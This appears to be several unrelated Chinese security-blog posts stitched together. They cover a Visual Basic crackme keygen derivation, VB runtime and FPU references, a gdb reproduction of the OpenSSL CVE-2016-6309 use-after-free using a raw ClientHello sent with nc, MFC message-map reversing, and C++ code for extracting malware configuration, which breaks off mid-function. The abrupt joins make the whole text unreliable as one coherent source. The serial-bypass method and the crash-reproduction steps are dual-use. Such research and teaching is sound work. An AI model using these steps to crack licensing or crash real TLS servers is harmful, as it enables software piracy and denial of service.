00408622 . F6C4 40 test ah,0x40
00408625 . 74 07 je short AfKayAs_.0040862E
00408627 . BE 01000000 mov esi,0x1
0040862C . EB 02 jmp short AfKayAs_.00408630
0040862E > 33F6 xor esi,esi
00408630 > 8D55 E4 lea edx,dword ptr ss:[ebp-0x1C]
00408633 . 8D45 E8 lea eax,dword ptr ss:[ebp-0x18]
00408636 . 52 push edx ; AfKayAs_.<ModuleEntryPoint>
00408637 . 50 push eax ; kernel32.BaseThreadInitThunk
00408638 . 6A 02 push 0x2
0040863A . FF15 80B14000 call dword ptr ds:[<&MSVBVM50.__vbaFre>; msvbvm50.__vbaFreeStrList
00408640 . 83C4 0C add esp,0xC
00408643 . 8D4D D8 lea ecx,dword ptr ss:[ebp-0x28]
00408646 . 8D55 DC lea edx,dword ptr ss:[ebp-0x24]
00408649 . 51 push ecx
0040864A . 52 push edx ; AfKayAs_.<ModuleEntryPoint>
0040864B . 6A 02 push 0x2
0040864D . FF15 08B14000 call dword ptr ds:[<&MSVBVM50.__vbaFre>; msvbvm50.__vbaFreeObjList
00408653 . F7DE neg esi
00408655 . 83C4 0C add esp,0xC
00408658 . B9 04000280 mov ecx,0x80020004
0040865D . B8 0A000000 mov eax,0xA
00408662 . 894D 9C mov dword ptr ss:[ebp-0x64],ecx
00408665 . 66:85F6 test si,si
00408668 . 8945 94 mov dword ptr ss:[ebp-0x6C],eax ; kernel32.BaseThreadInitThunk
0040866B . 894D AC mov dword ptr ss:[ebp-0x54],ecx
0040866E . 8945 A4 mov dword ptr ss:[ebp-0x5C],eax ; kernel32.BaseThreadInitThunk
00408671 . 894D BC mov dword ptr ss:[ebp-0x44],ecx
00408674 . 8945 B4 mov dword ptr ss:[ebp-0x4C],eax ; kernel32.BaseThreadInitThunk
00408677 . 74 62 je short AfKayAs_.004086DB
注册机算法
serial = (deci(name.length*0x15B38 + anscii(name[0])) + 2) * 3 + 15
其中我们可以看出,前三部分相对来说都是比较容易理解的,关键部分就是在第四部分
第四部分最关键的部分
fcomp qword ptr ds:[0x401028]
fstsw ax
test ah,0x40
je short 0040862E
此时st(0)=compute_serial/input_serial
,地址里面存的是1.0,也就是st(0)
和1.0的比较,然后将status word
放入ax中,可以从数据面板中看出来ax=0x0120
=> ah=0x01h
,
ah: 0000 0001
40: 0100 0000
从下面的扩展知识我们可看到,test
命令是为了探测C3
位是否为1,即两值是否相等
相等,那么C3
位为1,test
结果ZF=0
,不跳转 => 破解成功
不相等,那么C3
位为0,test
结果ZF=1
,跳转 => 破解失败
浮点数运算由专门的FPU
(浮点运算器)完成,它由8个80位的寄存器和3个16位的状态寄存器组成,
其中8个80位的寄存器分别为st(0)-st(7)
8个80位寄存器组成了一个栈,每次出栈/进栈都是通过这个TOP
值指定的,TOP
值始终指向栈顶元素
举个例子:
现在要将value0
,value1
,value2
压入这8个栈中,
TOP
指向st(0)
,将value0
送入st(0)
中value1
进入这个栈中,将value0
送入st(1)
中,并将value1
送入st(0)
中value2
进入这个栈中,将value1
送入st(2)
中,并将value1
送入st(1)
中,将value2
送入st(0)
中3个16位的寄存器分别为control word
, status word
和tag word
(这里为了方便理解,不直接翻译)
control word
状态字各个状态位的标志含义
0 = Both -infinity and +infinity are treated as unsigned infinity (initialized state)
1 = Respects both -infinity and +infinity
00 = Round to nearest, or to even if equidistant (this is the initialized state)
01 = Round down (toward -infinity)
10 = Round up (toward +infinity)
11 = Truncate (toward 0)
00 = 24 bits (REAL4)
01 = Not used
10 = 53 bits (REAL8)
11 = 64 bits (REAL10) (this is the initialized state)
PM (bit 5) or Precision Mask
UM (bit 4) or Underflow Mask
OM (bit 3) or Overflow Mask
ZM (bit 2) or Zero divide Mask
DM (bit 1) or Denormalized operand Mask
IM (bit 0) or Invalid operation Mask
status word
这里只重点关注C3,C2,C0
Opcode | Mnemonic | Description |
---|---|---|
D8 /2 | FCOM m32fp | Compare ST(0) with m32fp. |
DC /2 | FCOM m64fp | Compare ST(0) with m64fp. |
D8 D0+i | FCOM ST(i) | Compare ST(0) with ST(i). |
D8 D1 | FCOM | Compare ST(0) with ST(1). |
D8 /3 | FCOMP m32fp | Compare ST(0) with m32fp and pop register stack. |
DC /3 | FCOMP m64fp | Compare ST(0) with m64fp and pop register stack. |
D8 D8+i | FCOMP ST(i) | Compare ST(0) with ST(i) and pop register stack. |
D8 D9 | FCOMP | Compare ST(0) with ST(1) and pop register stack. |
DE D9 | FCOMPP | Compare ST(0) with ST(1) and pop register stack twice. |
比较操作会影响C3, C2, C0
Condition | C3 | C2 | C0 |
---|---|---|---|
ST(0) > Source | 0 | 0 | 0 |
ST(0) < Source | 0 | 0 | 1 |
ST(0) = Source | 1 | 0 | 0 |
Unordered* | 1 | 1 | 1 |
NOTE: * Flags not set if unmasked invalid-arithmetic-operand (#IA) exception is generated.
tag word
状态字暂时未用到
指令 | 说明 |
---|---|
fstsw ax | 将status word送入ax中 |
fdiv m32fp | Divide ST(0) by m32fp and store result in ST(0) |
fcomp m32fp | Compare ST(0) with m32fp and pop register stack. |
fmul m32fp | Multiply ST(0) by m32fp and store result in ST(0) |
a) __vbaI2Str 将一个字符串转为8 位(1个字节)的数值形式(范围在 0 至 255 之间) 或2 个字节的数值形式(范围在 -32,768 到 32,767 之间)。
b)__vbaI4Str 将一个字符串转为长整型(4个字节)的数值形式(范围从-2,147,483,6482,147,483,647)
c)__vbar4Str 将一个字符串转为单精度单精度浮点型(4个字节)的数值形式
d)__vbar8Str 将一个字符串转为双精度单精度浮点型(8个字节)的数值形式
e) VarCyFromStr (仅VB6库. 要调试,则在WINICE.DAT里必须有 OLEAUT32.DLL)字符串到变比型数据类型
f) VarBstrFromI2 (仅VB6库. 要调试,则在WINICE.DAT里必须有 OLEAUT32.DLL)整型数据到字符串:
a) __vbaStrCopy 将一个字符串拷贝到内存,类似于 Windows API HMEMCPY
b) __vbaVarCopy 将一个变量值串拷贝到内存
c) __vbaVarMove 变量在内存中移动,或将一个变量值串拷贝到内存
a) __vbavaradd 两个变量值相加
b) __vbavarsub 第一个变量减去第二个变量
c) __vbavarmul 两个变量值相乘
d) __vbavaridiv 第一个变量除以第二个变量,得到一个整数商
e) __vbavarxor 两个变量值做异或运算
a) __vbavarfornext 这是VB程序里的循环结构, For... Next... (Loop)
b) __vbafreestr 释放出字符串所占的内存,也就是把内存某个位置的字符串给抹掉
c) __vbafreeobj 释放出VB一个对象(一个窗口,一个对话框)所占的内存,也就是把内存某个位置的一个窗口,一个对话框抹掉
d) __vbastrvarval 从字符串特点位置上获取其值
e) multibytetowidechar 将数据转换为宽字符格式,VB在处理数据之都要这样做,在TRW2000显示为7.8.7.8.7.8.7.8
f) rtcMsgBox 调用一个消息框,类似于WINDOWS里的messagebox/a/exa,此之前一定有个PUSH命令将要在消息框中显示的数据压入椎栈
g) __vbavarcat 将两个变量值相连,如果是两个字符串,就连在一起
h) __vbafreevar 释放出变量所占的内存,也就是把内存某个位置的变量给抹掉
i) __vbaobjset
j) __vbaLenBstr 获得一个字符串的长度,注:VB中一个汉字的长度也为1
k) rtcInputBox 显示一个VB标准的输入窗口,类似window's API getwindowtext/a, GetDlgItemtext/a
l) __vbaNew 调用显示一个对话框,类似 Windows' API Dialogbox
m) __vbaNew2 调用显示一个对话框,类似 Windows' API Dialogboxparam/a
n) rtcTrimBstr 将字串左右两边的空格去掉
a) __vbastrcomp 比较两个字符串,类似于 Window's API lstrcmp
b) __vbastrcmp 比较两个字符串,类似于 Window's API lstrcmp
c) __vbavartsteq 比较两个变量值是否相等
d)__vbaFpCmpCy - Compares Floating point to currency. sp; Compares Floating point to currency
rtcMidCharVar 从字符串中取相应字符,VB中的MID函数,用法MID("字符串","开始的位置","取几个字符")
rtcLeftCharVar 从字符串左边取相应字符,VB中的用法:left("字符串","从左边开始取几个字符")
rtcRightCharVar 从字符串右边取相应字符,VB中的用法:Right("字符串","从右边开始取几个字符")
__vbaStrCat 用字符串的操作,就是将两个字符串合起来,在VB中只有一个&或+
__vbaStrCmp 字符串比较,在VB中只有一个=或<>
ASC()函数 取一个字符的ASC值,在反汇编时,还是有的movsx 操作数
bool 布尔型数据(TRUE 或 FALSE)
str 字符串型数据 STRING
i2 字节型数据或双字节整型数据 BYTE or Integer
ui2 无符号双字节整型数据
i4 长整型数据(4字节) Long
r4 单精度浮点型数据(4字节) Single
r8 双精度浮点型数据(8字节) Double
cy (8 个字节)整型的数值形式 Currency
var 变量 Variant
fp 浮点数据类型 Float Point
cmp 比较 compare
comp 比较 compare
Btw:
__vbavartsteq系列的还有__vbavartstne 不等于 __vbavartstGe,__vbavartstGt,__vbavartstLe,__vbavartstLt等,比较大于或小于
在研究honggfuzz的过程中,发现有人用它找到了openssl的一个洞(CVE-2016-6309),这是一个UAF的洞,为了了解如何fuzzing的,如果要是我写fuzzer,该怎么写,为了这个目的,所以就分析了一下。
环境准备
# kaili2
apt install gcc gdb python3.7-dev git make electric-fence -y
# pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
编译openssl
wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0a.tar.gz
tar -xvf OpenSSL_1_1_0a.tar.gz
cd openssl-OpenSSL_1_1_0a
./config --debug
make
将编译的库存放
cp ./libssl.so.1.1 /usr/local/lib
cp ./libcrypto.so.1.1 /usr/local/lib
生成证书
./apps/openssl req -newkey rsa:2048 -nodes -keyout rsa_private.key -x509 -days 365 -out cert.crt
首先为了了解这个洞的大概情况,来看一下openssl做的修补
其实最主要的地方是在BUF_MEM_grow_clean
之后的这句
s->init_msg = s->init_buf->data + msg_offset;
来看看BUF_MEM_grow_clean
函数干了什么,需要更新 s->init_msg
的值
size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len)
{
char *ret;
size_t n;
if (str->length >= len) {
if (str->data != NULL)
memset(&str->data[len], 0, str->length - len);
str->length = len;
return (len);
}
if (str->max >= len) {
memset(&str->data[str->length], 0, len - str->length);
str->length = len;
return (len);
}
/* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */
if (len > LIMIT_BEFORE_EXPANSION) {
BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
return 0;
}
n = (len + 3) / 3 * 4;
if ((str->flags & BUF_MEM_FLAG_SECURE))
ret = sec_alloc_realloc(str, n);
else
ret = OPENSSL_clear_realloc(str->data, str->max, n); // 出错
if (ret == NULL) {
BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
len = 0;
} else {
str->data = ret;
str->max = n;
memset(&str->data[str->length], 0, len - str->length);
str->length = len;
}
return (len);
}
可以看到使用len
分别和str->length/str->max
做了比较,如果都不满足,会realloc
对应的str->data
的数据,无论哪个realloc
都会执行相似的操作
ret = OPENSSL_secure_malloc(len);
if (str->data != NULL) {
if (ret != NULL)
memcpy(ret, str->data, str->length);
OPENSSL_secure_free(str->data);
}
那么将来再用到str->data
的数据时,就会造成UAF
,现在知道了大概的原因,实际利用gdb
进行验证
随意点击几个https
的网站,之后利用利用wireshark
监控
tcp.port==443 && ssl.record.version
具体如下,注意具体长度对应的位置,以后做漏洞poc
会用到
ctrl+shift+x
将字节流数据导出,正常数据是这样的
首先利用正常的数据进行测试
监听端口
./apps/openssl s_server -key rsa_private.key -cert cert.crt -accept 443 –www
验证poc
nc localhost 443 < poc.raw
正常的poc.raw
16 03 01 02 00 01 00 01 FC 03 03 36 E4 09 F9 D9
3B 75 FF 3E 34 EC C7 2B 9C 3F 2E 78 B5 58 04 FE
13 DC 98 04 2A C2 95 DA FB 1E 77 20 F7 F6 AC ED
64 60 E8 CC 28 D3 BF B3 74 CA 21 40 B1 58 DB 66
5B A8 04 FC 25 42 C3 5D 7C 10 FD 16 00 22 AA AA
13 01 13 02 13 03 C0 2B C0 2F C0 2C C0 30 CC A9
CC A8 C0 13 C0 14 00 9C 00 9D 00 2F 00 35 00 0A
01 00 01 91 AA AA 00 00 00 00 00 16 00 14 00 00
11 66 6F 6E 74 73 2E 67 73 74 61 74 69 63 2E 63
6F 6D 00 17 00 00 FF 01 00 01 00 00 0A 00 0A 00
08 7A 7A 00 1D 00 17 00 18 00 0B 00 02 01 00 00
23 00 00 00 10 00 0E 00 0C 02 68 32 08 68 74 74
70 2F 31 2E 31 00 05 00 05 01 00 00 00 00 00 0D
00 14 00 12 04 03 08 04 04 01 05 03 08 05 05 01
08 06 06 01 02 01 00 12 00 00 00 33 00 2B 00 29
7A 7A 00 01 00 00 1D 00 20 78 25 48 03 BE DA 1B
55 F8 2E 97 3B 62 4C E5 7C 89 59 D2 13 0A AC 69
02 51 B3 7B 79 48 4B FC 1A 00 2D 00 02 01 01 00
2B 00 0B 0A CA CA 03 04 03 03 03 02 03 01 00 1B
00 03 02 00 02 2A 2A 00 01 00 00 15 00 C7 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00
动态调试
gdb ./app/openssl
pwndbg> run s_server -key rsa_private.key -cert cert.crt -accept 443
在statem.c:546
设下断点,成功断下
来查看一下s
相关的值
pwndbg> p/x s->init_buf->length
$11 = 0x4000
pwndbg> p/x s->init_buf->max
$12 = 0x5558
pwndbg> p/x s->s3->tmp.message_size
$13 = 0x1fc
pwndbg> p s->s3->tmp.message_size
$14 = 508
经过多次调试,发现在这里s->init_buf->max
和s->init_buf->length
都是固定的,而s->s3->tmp.message_size
是我们可控的
根据前面对BUF_MEM_grow_clean
的分析,我们只要保证s->s3->tmp.message_size
大于最大值,即s->init_buf->max < s->s3->tmp.message_size
就会成功进行realloc
,而在我们的测试中,s->init_buf->max==0x5558
,所以作如下更改设置为0x5560
执行并查看
跟进BUF_MEM_grow_clean
可以发现成功执行到达realloc
,为了观察将来是否利用了str->data
以前的数据,释放前看一下str->data
的情况
继续执行,崩溃
可以发现这里的内存是str->data
中释放的,成功导致了UAF
其中通过多次调试可以发现其实其数据来源于s->init_msg
,而s->init_msg
中的数据又来源于s->init_buf->data
s->init_msg = s->init_buf->data + n
利用OpenSSL_1_1_0b
对比一下
wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0b.tar.gz
tar -xvf OpenSSL_1_1_0b.tar.gz
cd openssl-OpenSSL_1_1_0b
./config --debug
make
下个断点
继续执行,会发现没有任何的问题,因为在grow_init_buf
函数中及时更新了s->init_msg
的值
static int grow_init_buf(SSL *s, size_t size) {
size_t msg_offset = (char *)s->init_msg - s->init_buf->data;
if (!BUF_MEM_grow_clean(s->init_buf, (int)size))
return 0;
if (size < msg_offset)
return 0;
s->init_msg = s->init_buf->data + msg_offset;
return 1;
}
至此CVE-2016-6309
具体形成UAF
的原因也就分析清楚了
通过od2 设置MessageBox
断点,断下来后,我们来看调用栈(这里比较了od1,od2,x32dbg,最终还是od2显示的效果最好!)
之后跟进每一个函数查看函数大致功能,因为真正的处理函数距离MessageBox
不会太远
函数40B1A2
可以看到该函数中MessageBox
所有的参数都已经确定了,再往前翻
函数40B71C
可以发现失败
这一状态,在这个函数前已经确认了,再往前翻:
函数4071FD
可以发现,真正的确认状态的函数就是4071FD
,成功找到MessageMap处理函数
直接搜到处理函数
介绍该方法时,首先要了解两方面的知识:
c++普遍使用类,虚拟类派生的类都会维护一个虚函数表vtable
,并且编译器在编译时会将虚函数表插入到生成的二进制文件中,而且一般存在rodata
区块中。该类的每一个实例(对象)会维护一个vptr
,即指向虚函数表的指针。大概的空间布局是这样的
类中数据布局 |
---|
vptr虚表指针 |
基类数据 |
类成员 |
首先,我们先对MFC的消息映射做一个简单介绍。MFC为了实现消息映射在响应消息的类内部自动做了如下两方面的处理:
a、消息映射声明和实现
在类的定义(头文件)里,添加声明消息映射的宏DECLARE_MESSAGE_MAP,在类的实现(源文件)里,通过BEGIN_MESSAGE_MAP和END_MESSAGE_MAP()实现消息映射。
b、消息响应函数的声明和实现
当通过ClassWizard添加消息响应函数时就会自动添加函数的声明和实现,代码如下:
声明:
//{{AFX_MSG
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnPaint();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
映射:
BEGIN_MESSAGE_MAP(CTestDialog, CDialog)
//{{AFX_MSG_MAP(CTestDialog)
ON_WM_TIMER()
ON_WM_PAINT()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
实现:
void CTestDialog::OnPaint()
{
}
void CTestDialog::OnTimer(UINT nIDEvent)
{
CDialog::OnTimer(nIDEvent);
}
void CTestDialog::OnPaint()
{
}
void CTestDialog::OnTimer(UINT nIDEvent)
{
CDialog::OnTimer(nIDEvent);
}
简单点说就是MFC
的类在声明时会调用DECLARE_MESSAGE_MAP()
声明消息映射,在生成对象后会映射AFX_MSG_MAP
。
MFC
源码大概是这样的
class CreverseApp : public CWinApp
{
public:
CreverseApp();
// Overrides
public:
virtual BOOL InitInstance();
// Implementation
DECLARE_MESSAGE_MAP()
};
BEGIN_MESSAGE_MAP(CreverseApp, CWinApp)
ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
END_MESSAGE_MAP()
// CreverseApp construction
CreverseApp::CreverseApp()
{
// support Restart Manager
m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}
// The one and only CreverseApp object
CreverseApp theApp;
MFC
就是靠这样的机制来处理程序的整个消息的,现在需要理清的就是消息和消息处理函数的映射,其中涉及到主要的两个结构体:
struct AFX_MSGMAP
{
const AFX_MSGMAP* (PASCAL* pfnGetBaseMap)(); // 基类消息映射入口地址
const AFX_MSGMAP_ENTRY* lpEntries; // 当前类消息映射入口地址
};
struct AFX_MSGMAP_ENTRY
{
UINT nMessage; // windows message
UINT nCode; // control code or WM_NOTIFY code
UINT nID; // control ID (or 0 for windows messages)
UINT nLastID; // used for entries specifying a range of control id's
UINT_PTR nSig; // signature type (action) or pointer to message #
AFX_PMSG pfn; // routine to call (or special value)
};
其中AFX_MSGMAP
由GetMessageMap
函数获取,其最后一个成员直接指向映射关系数组。GetMessagemap
函数是个虚函数,每个实现的类的虚函数表都有该函数,我们需要找到对应的窗口类或是对话框类的GetMessageMap
函数。而最终的目标就是找到这个映射关系数组,好方便找到对应的消息处理函数
首先找到MFC
开始函数,大概是这样的
.text:00401CBB public start
.text:00401CBB call ___security_init_cookie
.text:00401CC0 jmp ___tmainCRTStartup
.text:004019FB ___tmainCRTStartup proc near ; CODE XREF: start+5j
.text:004019FB
.text:004019FB push 5Ch
.text:004019FD push offset unk_403DD8
.text:00401A02 call __SEH_prolog4
;... other initialization code
.text:00401B3E push ecx ; nShowCmd
.text:00401B3F push eax ; lpCmdLine
.text:00401B40 push ebx ; hPrevInstance
.text:00401B41 push 400000h ; hInstance
.text:00401B46 call _wWinMain@16 ; wWinMain(x,x,x,x)
; int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
_wWinMain@16 proc near
jmp ?AfxWinMain@@YGHPAUHINSTANCE__@@0PA_WH@Z ; AfxWinMain(HINSTANCE__ *,HINSTANCE__ *,wchar_t *,int)
_wWinMain@16 endp
再来看看AfxWinMain
的源代码
int AFXAPI AfxWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine, int nCmdShow)
{
ASSERT(hPrevInstance == NULL);
int nReturnCode = -1;
CWinThread* pThread = AfxGetThread();
CWinApp* pApp = AfxGetApp();
// AFX internal initialization
if (!AfxWinInit(hInstance, hPrevInstance, lpCmdLine, nCmdShow))
goto InitFailure;
// App global initializations (rare)
if (pApp != NULL && !pApp->InitApplication())
goto InitFailure;
// Perform specific initializations
if (!pThread->InitInstance())
{
if (pThread->m_pMainWnd != NULL)
{
TRACE(traceAppMsg, 0, "Warning: Destroying non-NULL m_pMainWnd\n");
pThread->m_pMainWnd->DestroyWindow();
}
nReturnCode = pThread->ExitInstance();
goto InitFailure;
}
nReturnCode = pThread->Run();
InitFailure:
AfxWinTerm();
return nReturnCode;
}
不同版本的MFC
可能会有所区别,但是整体的结构基本不会变,再来对比一下第五题的反汇编代码
; int __stdcall AfxWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
.text:00440E44 _wWinMain@16 proc near ; CODE XREF: ___tmainCRTStartup+115↑p
.text:00440E44
.text:00440E44 hInstance = dword ptr 8
.text:00440E44 hPrevInstance = dword ptr 0Ch
.text:00440E44 lpCmdLine = dword ptr 10h
.text:00440E44 nShowCmd = dword ptr 14h
.text:00440E44
.text:00440E44 ; FUNCTION CHUNK AT .text:00417073 SIZE 00000020 BYTES
.text:00440E44
.text:00440E44 mov edi, edi
.text:00440E46 push ebp
.text:00440E47 mov ebp, esp
.text:00440E49 pop ebp
.text:00440E4A jmp loc_440E62
.text:00440E4F ; ---------------------------------------------------------------------------
.text:00440E4F
.text:00440E4F ; void __cdecl loc_440E4F()
.text:00440E4F loc_440E4F: ; DATA XREF: sub_443CAE+5↓o
.text:00440E4F push 1
.text:00440E51 push 0
.text:00440E53 call sub_417001
.text:00440E58 call sub_417806
.text:00440E5D jmp loc_417073
.text:00440E62 ; ---------------------------------------------------------------------------
.text:00440E62
.text:00440E62 loc_440E62: ; CODE XREF: wWinMain(x,x,x,x)+6↑j
.text:00440E62 mov edi, edi
.text:00440E64 push ebp
.text:00440E65 mov ebp, esp
.text:00440E67 push ebx
.text:00440E68 push esi
.text:00440E69 push edi
.text:00440E6A or ebx, 0FFFFFFFFh
.text:00440E6D call AfxGetModuleThreadState
.text:00440E72 mov esi, eax ; pthread
.text:00440E74 call AfxGetModuleState
.text:00440E79 push [ebp+nShowCmd]
.text:00440E7C mov edi, [eax+4]
.text:00440E7F push [ebp+lpCmdLine]
.text:00440E82 push [ebp+hPrevInstance]
.text:00440E85 push [ebp+hInstance]
.text:00440E88 call AfxWinInit
.text:00440E8D test eax, eax
.text:00440E8F jz short loc_440ECD
.text:00440E91 test edi, edi
.text:00440E93 jz short loc_440EA3
.text:00440E95 mov eax, [edi]
.text:00440E97 mov ecx, edi // edi存储CXXApp对象指针,this
.text:00440E99 call dword ptr [eax+0ACh] ; pApp->InitApplication
.text:00440E9F test eax, eax
.text:00440EA1 jz short loc_440ECD
.text:00440EA3
.text:00440EA3 loc_440EA3: ; CODE XREF: wWinMain(x,x,x,x)+4F↑j
.text:00440EA3 mov eax, [esi]
.text:00440EA5 mov ecx, esi
.text:00440EA7 call dword ptr [eax+50h] ; pThread->InitInstance
.text:00440EAA test eax, eax
.text:00440EAC jnz short loc_440EC4
.text:00440EAE cmp [esi+20h], eax .text:00440EB1 jz short loc_440EBB
.text:00440EB3 mov ecx, [esi+20h]
.text:00440EB6 mov eax, [ecx]
.text:00440EB8 call dword ptr [eax+60h]
.text:00440EBB
.text:00440EBB loc_440EBB: ; CODE XREF: wWinMain(x,x,x,x)+6D↑j
.text:00440EBB mov eax, [esi]
.text:00440EBD mov ecx, esi
.text:00440EBF call dword ptr [eax+68h]
.text:00440EC2 jmp short loc_440ECB
.text:00440EC4 ; ---------------------------------------------------------------------------
.text:00440EC4
.text:00440EC4 loc_440EC4: ; CODE XREF: wWinMain(x,x,x,x)+68↑j
.text:00440EC4 mov eax, [esi]
.text:00440EC6 mov ecx, esi
.text:00440EC8 call dword ptr [eax+54h]
.text:00440ECB
.text:00440ECB loc_440ECB: ; CODE XREF: wWinMain(x,x,x,x)+7E↑j
.text:00440ECB mov ebx, eax
.text:00440ECD
.text:00440ECD loc_440ECD: ; CODE XREF: wWinMain(x,x,x,x)+4B↑j
.text:00440ECD ; wWinMain(x,x,x,x)+5D↑j
.text:00440ECD call sub_41776C
.text:00440ED2 pop edi
.text:00440ED3 pop esi
.text:00440ED4 mov eax, ebx
.text:00440ED6 pop ebx
.text:00440ED7 pop ebp
.text:00440ED8 retn 10h
.text:00440ED8 _AfxWinMain@16 endp ;
这里的InitInstance
很重要,其中有CXXDialog
的指针,顺着这个指针,我们能够找到第五题中涉及到的窗口处理类的虚函数表
可以先大概看一下InitInstance
在MFC
中的源码
start -> winmain -> AfxWinMain -> CXXAPP -> CXXDialog
本人是做静态配置解密(自动化静态扫描文件并将其中的IoC
提取出来)的,日常遇到有混淆的恶意代码家族很正常。但是碰到这么恶心的还是第一次,所以记录一下,方便以后再次遇到,好参照解决。
样本md5:
3103007484cb5935efcd0d8abf28251e
5142f81d00403a33c3eb9f71290c2bf6
vt
主要将该类识别为
palevo
zusy
Fosniw
我是把它划分到palevo
家族,但是这个不重要,今天最重要的是利用c++
从这些混淆中成功提取出IoC
信息
首先来看它到底有多么恶心
如果直接F5
,会卡很长时间
之后的伪码
因为这个家族我做静态分析,分析了很多个版本,即使这样混淆,我依然能够很快定位到其中使用的解密函数
真正的解密逻辑在这里
其属于这个函数
同样是加了非常多的printf
做混淆,因为我分析过,并且知道解密函数具体操作,所以很容易能够通过人力定位到,但是要想完成静态自动化的配置解密的话,其实很困难。
因为在个人有限的经验里,静态配置解密定位到解密函数,并且定位到加密数据位置,主要有以下几种方法
数据/解密函数位置,存在固定偏移
这类最好解决,我们需要做的就是人工找到位置,之后将解密算法逆出来,静态配置解密也就完成了
数据/解密函数前后存在特定数据
这类主要就是使用正则表达式,匹配到特定数据,之后通过一定的偏移找到需要定位的数据
加密数据本身存在明显的特征情况,比如说一定的数据结构
这类直接定义出该结构,之后扫数据结构就行
定位解密函数自身行为特征(比如opcode
/反汇编指令等)
这类的一般要求比上面的几种的都要严格,很容易出错或者出偏差,代码的话要做好充足的异常处理,而且一旦有各种混淆,而且混淆格式不同的,基本就gg了
无论解密函数还是加密数据都没有办法定位
这类的,我如果遇到了基本上就只能写个yara
做一下识别,后来的配置解密模块就不写了
这个只是我个人的纯粹工作经验总结,可能不对,或者对别人不适用
今天遇到这个我就把它划到了第5类,开始我都打算放弃了,但是后来细想了一下,这个家族和一般的家族有个相对比较明显的特征,
该家族的该类变种几乎所有使用的数据都使用了相同的加密算法加密,而且数据众多,结果导致的就是该解密函数必然会被反复调用
我们来粗略看一下
分析的这个样本3103007484cb5935efcd0d8abf28251e
,该解密函数足足被调用了179
次,正常情况下是肯定不会的,现在我们来将通过聚类处理的样本,做一下扫描,之后排序输出,看看哪些函数会被多次调用
首先看一下寻找xref
的实现
/*
* 自定义简单字典
* string: 存储call指令
* vector<uint32_t>: 存储第一个参数
*/
typedef std::map<std::string, std::vector<uint32_t>> xref_dictionary_t;
/*
* 获取所有至少有一个参数的函数引用
* buffer: 需要反汇编的数据
* buffer_size:反汇编数据长度
* xrefs: 所有函数引用的字典
*/
static long func_get_xrefs_with_args(uint8_t *buffer, uint32_t buffer_size, xref_dictionary_t &xrefs)
{
long ret = 0;
ud ud_obj;
std::string last_assembly_code;
std::string current_assembly_code;
std::string call_opcode;
const ud_operand_t* last_op = NULL;
uint32_t last_op_lval_udword = 0;
if (buffer == NULL || buffer_size == 0)
RC_FINISH(-1);
// 反汇编操作
ud_init(&ud_obj);
ud_set_mode(&ud_obj, 32);
ud_set_input_buffer(&ud_obj, buffer, buffer_size);
ud_set_syntax(&ud_obj, UD_SYN_INTEL);
ud_disassemble(&ud_obj);
last_assembly_code = std::string(ud_insn_asm(&ud_obj), strlen(ud_insn_asm(&ud_obj)));
last_op = (ud_operand_t*)ud_insn_opr(&ud_obj, 0);
while (ud_disassemble(&ud_obj))
{
current_assembly_code = std::string(ud_insn_asm(&ud_obj), strlen(ud_insn_asm(&ud_obj)));
if (current_assembly_code.find("call") != std::string::npos &&
last_assembly_code.find("push") != std::string::npos)
{
xref_dictionary_t::iterator it;
it = xrefs.find(current_assembly_code);
// 已经存在
if (it != xrefs.end())
it->second.push_back(last_op_lval_udword);
else
{
// 第一次出现
std::vector<uint32_t> tmp_cout_vec;
tmp_cout_vec.push_back(last_op_lval_udword);
xrefs[current_assembly_code]=tmp_cout_vec;
}
}
last_assembly_code = current_assembly_code;
// last_op 会随着指针变化,没法取到上一个值,直接取值
last_op = ud_insn_opr(&ud_obj, 0);
if (last_op)
last_op_lval_udword = last_op->lval.udword;
}
finish:
return ret;
}
得到了函数调用次数后,输出看一下
// xrefs排序
std::vector<xref_pair_t> xref_vec(xrefs.begin(), xrefs.end());
sort(xref_vec.begin(), xref_vec.end(), compare_by_second_size);
for (auto it=xref_vec.begin(); it!= xref_vec.end(); it++)
{
std::cout << "function: " << it->first ;
std::cout << "\tcount:" << it->second.size() << std::endl;
}
结果大概是这样的
通过分析该聚类样本可以发现函数被调用最多的,除了用于混淆的printf
,之后便是解密函数,并且可以肯定是在[160-200]
的范围,所以提取IoC
的的信息代码
static long func_extract(void *handle)
{
long ret = 0;
PALEVO_C_HANDLE* _handle = NULL;
xref_dictionary_t xrefs;
if (handle == NULL)
RC_FINISH(-1);
_handle = (PALEVO_C_HANDLE*)handle;
if (0 == func_get_xrefs_with_args(_handle->buffer, _handle->size, xrefs))
{
xref_dictionary_t::iterator it_xrefs;
for (it_xrefs=xrefs.begin(); it_xrefs != xrefs.end(); it_xrefs++)
{
